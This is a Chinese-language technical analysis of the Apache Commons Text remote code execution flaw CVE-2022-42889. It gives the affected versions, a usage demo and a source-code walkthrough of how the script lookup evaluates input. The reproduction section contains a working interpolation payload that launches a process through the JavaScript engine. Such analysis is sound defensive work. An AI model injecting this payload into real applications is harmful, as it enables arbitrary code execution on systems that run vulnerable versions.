Apache Commons Text远程代码执行漏洞(CVE-2022-42889)分析

漏洞介绍

根据apache官方给出的说明介绍到Apache Commons Text执行变量插值，允许动态评估和扩展属性的一款工具包，插值的标准格式是"${prefix:name}"，其中"prefix"是用于定位org.apache.commons.text.lookup类，执行插值的是StringLookup接口，接口中定义了lookup方法。在1.5到1.9的版本中，默认的Lookup实例集包括可以导致任意代码执行的表达式，如javax.script、dns、url等加载方式。

影响范围

1.5 <= Apache Commons Text <= 1.9

组件使用介绍

Apache Commons Text组件通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包，这里我搞了个Demo来简单介绍下使用方法：

import org.apache.commons.text.StringSubstitutor;

class Demo{
    public static void main(String[] args){
        String resolvedString = StringSubstitutor
                 .replaceSystemProperties("You are running with java.version = ${java.version} and os.name = ${os.name}.");
        
        System.out.println(resolvedString);
        
        final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        interpolator.setEnableSubstitutionInVariables(true); // Allows for nested $'s.
        final String text = interpolator.replace("Base64 Decoder:${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
            + "Date:                  ${date:yyyy-MM-dd}\n" + "DNS:                   ${dns:address|apache.org}\n"
            + "Environment Variable:  ${env:USERNAME}\n"
            + "Script:                ${script:javascript:3 + 4}\n" + "System Property:       ${sys:user.dir}\n");
        System.out.println(text);
    }
}

因此该组件常用于数据库查询前的语句替换，或者页面输出的时候替换。

漏洞复现

import org.apache.commons.text.StringSubstitutor;

class Demo{
    public static void main(String[] args){
        StringSubstitutor stringSubstitutorInterpolator = StringSubstitutor.createInterpolator();
        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
        stringSubstitutorInterpolator.replace(payload);
    }
}

代码分析

先从StringSubstitutor.replace方法中跟入

public String replace(final String source) {
    if (source == null) {
        return null;
    }
    final TextStringBuilder buf = new TextStringBuilder(source);
    if (!substitute(buf, 0, source.length())) {
        return source;
    }
    return buf.toString();
}

调用了substitute解析传入的字符串

方法中解析了头部和尾部的${}，把其中的值取出来进一步解析

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,
                                 final int endPos) {
    final StringLookup resolver = getStringLookup();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(variableName);
}

这里获取的StringLookup就是之前使用StringSubstitutor.createInterpolator()创建实例化对象的地方

public static StringSubstitutor createInterpolator() {
    return new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup());
}

并在构造方法中调用了this.setVariableResolver(variableResolver)设置VariableResolver为InterpolatorStringLookup类，之后继续跟入InterpolatorStringLookup的lookup方法中。

@Override
public String lookup(String var) {        //var="script:js:new java.lang.ProcessBuilder("calc").start()"
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) {
        final String prefix = toKey(var.substring(0, prefixPos));
        final String name = var.substring(prefixPos + 1);
        final StringLookup lookup = stringLookupMap.get(prefix);
        String value = null;
        if (lookup != null) {
            value = lookup.lookup(name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultStringLookup != null) {
        return defaultStringLookup.lookup(var);
    }
    return null;
}

方法截取了":"前面的script关键词，并以此为索引获取对应的StringLookup对象

可以看到系统支持的类型有18种操作方式

并在后续调用了ScriptStringLookup.lookup方法

@Override
public String lookup(final String key) {
    if (key == null) {
        return null;
    }
    final String[] keys = key.split(SPLIT_STR, 2);
    final int keyLen = keys.length;
    if (keyLen != 2) {
        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",
                                               key);
    }
    final String engineName = keys[0];
    final String script = keys[1];
    try {
        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
        if (scriptEngine == null) {
            throw new IllegalArgumentException("No script engine named " + engineName);
        }
        return Objects.toString(scriptEngine.eval(script), null);
    } catch (final Exception e) {
        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,
                                               script);
    }
}